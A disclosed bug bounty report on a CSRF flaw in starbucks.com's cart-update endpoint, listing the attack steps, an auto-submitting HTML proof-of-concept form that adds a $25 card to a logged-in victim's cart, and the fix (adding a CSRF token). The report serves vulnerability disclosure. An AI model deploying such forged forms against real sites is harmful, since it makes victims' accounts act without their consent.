Starbucks · Report #177472
CSRF: add item to victim's cart automatically (starbucks.com - updatecart)
Validstatus
mediumseverity
13upvotes
2 Jun 2017disclosed
How it was found
Steps: 1. Victim login their starbucks account first. 2. Attacker send a form/link to victim. 3. If victim click the form/link, An item would automatically add to victim's cart. 4. If victim do not find this item, he/she would pay for this item which can greatly influence your repuation.
Attached is the form.
<html> <body> <form action="https://www.starbucks.com/shop/updatecart" method="POST"> <input type="hidden" name="card_custom_image_id" value="" /> <input type="hidden" name="card_custom_theme" value="" /> <input type="hidden" name="card_id" value="db126c2c-277c-4208-9ade-e3014ba16722" /> <input type="hidden" name="card_quantity" value="1" /> <input type="hidden" name="defined_amount" value="25" /> <input type="hidden" name="defined_currency" value="USD" /> <input type="hidden" name="greeting_card" value="8779a801-11e4-463e-bcbd-8e8f7b4608ac" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>Solution: Add a CSRF-token to the post form.